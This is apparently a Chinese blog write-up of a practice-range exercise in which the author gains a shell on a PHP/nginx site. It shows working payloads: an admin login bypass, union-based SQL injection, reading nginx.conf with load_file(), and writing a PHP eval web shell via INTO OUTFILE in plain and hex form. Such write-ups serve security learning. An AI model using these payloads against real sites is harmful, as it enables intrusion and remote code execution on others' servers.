• 一次简单的靶场getshell


    前言

    师傅搭建了一个简单的靶场,要求getshell,对于我一个小白来说,难免有点难度……那就慢慢来吧……

    信息收集

    虽然是个简单的靶场,不涉及IP|端口一类的收集,但是还是要对网站进行一个大概的浏览....

    • 判断其环境
      • 中间件:nginx
      • php
    • 查找同款cms
      • 前端js
      • 前端css
      • cms关键字
      • 调用的路径
      • 首页logo可能存在指向官网cms的超链接
    • 后台前端内容

    并没有自己需要的信息....

    首页


    首页发现可能有用的东西有:

    • 后台管理
      • 万能密码
      • 文件上传
    • 本站搜索
      • xss(反射型)
      • SQL查询注入
    • 新闻传参
      • SQL注入
    • 留言板
      • xss(存储型)

    开始尝试

    后台管理

    信息收集

    • 先尝试万能密码
      payload:admin' or '1'='1
    • 竟然成功了,继续收集有用的信息
      • 用户添加
      • 添加文章
        • xss
        • 文件上传
      • 文章管理
        • 搜索框
          • xss
          • SQL查询注入
        • 文章编辑
          • 文件上传
          • xss
      • 文件管理
        - 文件上传

    尝试getshell

    后台我并没有实现getshell,可能是我太菜叭

    首页尝试SQL注入

    查找注入点

    • 随便点开一个新闻页面,很明显的传参,验证是否存在注入

    尝试注入

    • 很明显,存在整数型注入,尝试构造payload:order by

    • ok,一共15列,现在尝试看他有没有回显位,构造payload:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
    • 一个11,一个3

    尝试getshell

    别问我为什么不爆数据,因为咱们目的是getshell

    查找网站绝对路径

    既然要getshell,当然第一步是查找网站根路径了~,最常规的姿势:load_file(),网站根路径是通过web中间件进行确定的,既然已经知道是nginx,那当然是读取nginx.conf

    • 构造payload:http://192.236.147.191:9000/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,load_file(char(47,117,115,114,47,108,111,99,97,108,47,110,103,105,110,120,47,99,111,110,102,47,110,103,105,110,120,46,99,111,110,102)),12,13,14,15

    这里看不方便,所以使用grep处理查看

    尝试getshell

    网站根路径已经知道了,尝试写进去呢?

    • 构造写文件的payloadunion select 1,2,3,4,5,6,7,8,9,10,"<?php eval($_POST['qqq']);?>",12,13,14,15 into outfile"/www/xxx.php"
    • 成功写入~,看看文件是否正常呢?

    • 没事,换hex写,payload:http://192.236.147.191:9000/show.php?id=-32 union select 1,2,3,4,5,6,7,8,9,10,0x3C3F7068702065xxxxxxxx245F504F53545B27717171275D293B3F3E,12,13,14,15 into outfile"/www/xxx.php"
    • 又写进去了,再看看正常吗?

    发现,11没有了,猜测已经被解析,尝试连接shell

    • 成功getshell
  • 相关阅读:
    如何调试 VB 6 的安装源程序 Setup1.VBP?
    Linq和泛型,IEnumerable和IQueryable之间的区别,Lambda表达式,Linq to Sql停止开发转为 Entity Framework
    SQL Server中行列转换 Pivot UnPivot
    一个题目涉及到的50个Sql语句
    Entity Framework中IQueryable, IEnumerable, IList的差别
    [转]git使用指南系列
    一条SQL语句查询出成绩名次 排名 (转)
    MS SQL Server:排名函数详解
    MSSQL中删除所有外键约束的方法
    Model View Presenter Part I – Building it from Scratch
  • 原文地址:https://www.cnblogs.com/quail2333/p/12848846.html
Copyright © 2020-2023  润新知